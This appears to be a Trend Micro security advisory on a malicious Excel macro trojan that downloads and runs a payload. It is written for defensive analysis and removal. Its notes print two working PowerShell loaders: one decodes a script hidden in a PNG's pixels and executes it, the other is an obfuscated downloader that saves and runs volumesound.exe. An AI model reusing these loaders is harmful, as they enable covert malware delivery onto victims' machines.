TROJAN.X97M.POWLOAD.NSFGAIBQ
TrojanDownloader:O97M/Dornoe.A!ams (Microsoft), Trojan-Downloader.VBA.Agent (Ikarus)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware, Spammed via email
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
118,272 bytes
XLS
No
06 Nov 2018
Connects to URLs/IPs, Downloads files, Executes files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- https://{BLOCKED}2.{BLOCKED}x.com/90/f1/gat2MVsK_o.png
- http://{BLOCKED}on.com/connmouse
It saves the files it downloads using the following names:
- %User Temp%\volumesound.exe
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
NOTES:
The document contains the following message details luring users to enable macro content:
This Trojan uses the following PowerShell commands to download and execute a malicious file:
- sal fr New-Object;Add-Type -AssemblyName "System.Drawing";$ds=fr System.Drawing.Bitmap((fr Net.WebClient).OpenRead("https://{BLOCKED}2.{BLOCKED}x.com/90/f1/gat2MVsK_o.png"));$mk=fr Byte[] 2140;(0..4)|%{foreach($x in(0..427)){$tt=$ds.GetPixel($x,$_);$mk[$_*428+$x]=([math]::Floor(($tt.B-band15)*16)-bor($tt.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($mk[0..1907]))
- ${DS}=&("{2}{0}{1}" -f'u','lture','Get-C') | &("{0}{2}{3}{1}"-f'F','List','or','mat-') -Property ('*') | &("{2}{0}{1}" -f'ut-St','ring','O') -Stream;if (${Ds} -Match "ja"){${URlS}=("{7}{2}{5}{1}{6}{0}{3}{4}" -f'on.c','ide','://','om/connmous','e','ol','r','http'),"";foreach(${uRl} in ${uRLs}){Try{.("{2}{1}{0}" -f'st','te-Ho','wri') ${uRL};${Fp} = "$env:temp\\volumesound.exe";.("{0}{1}{2}{3}" -f'W','r','ite','-Host') ${FP};${wC} = &("{0}{1}{2}" -f 'New-Ob','j','ect') ("{0}{3}{2}{1}"-f'System.Net','ent','i','.WebCl');${wC}."HEAdERs".("{1}{0}"-f'd','Ad').Invoke(("{1}{0}{2}" -f'a','user-','gent'),("{12}{14}{18}{15}{16}{10}{4}{7}{8}{0}{6}{19}{3}{5}{1}{2}{9}{11}{13}{17}"-f'NT 10.0',' (K','H','eWebK','T; W','it/534.6',';','ind','ows ','TML, like ','s N','G','M','e','oz','5.0',' (Window','cko) Chrome/7.0.500.0 Safari/534.6','illa/',' us-US) Appl'));${Wc}.("{1}{0}{3}{2}" -f 'dF','Downloa','le','i').Invoke(${URL}, ${fp});.("{1}{0}{2}" -f'art','St','-Process') ${FP};break}Catch{&("{0}{2}{1}" -f 'Wri','-Host','te') ${_}."ExcepTion"."mesSAGE"}}}
SOLUTION
9.850
14.610.05
06 Nov 2018
14.611.00
07 Nov 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Temp%\volumesound.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as TROJAN.X97M.POWLOAD.NSFGAIBQ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Step 5
Enable the macro virus protection in Microsoft Office Applications
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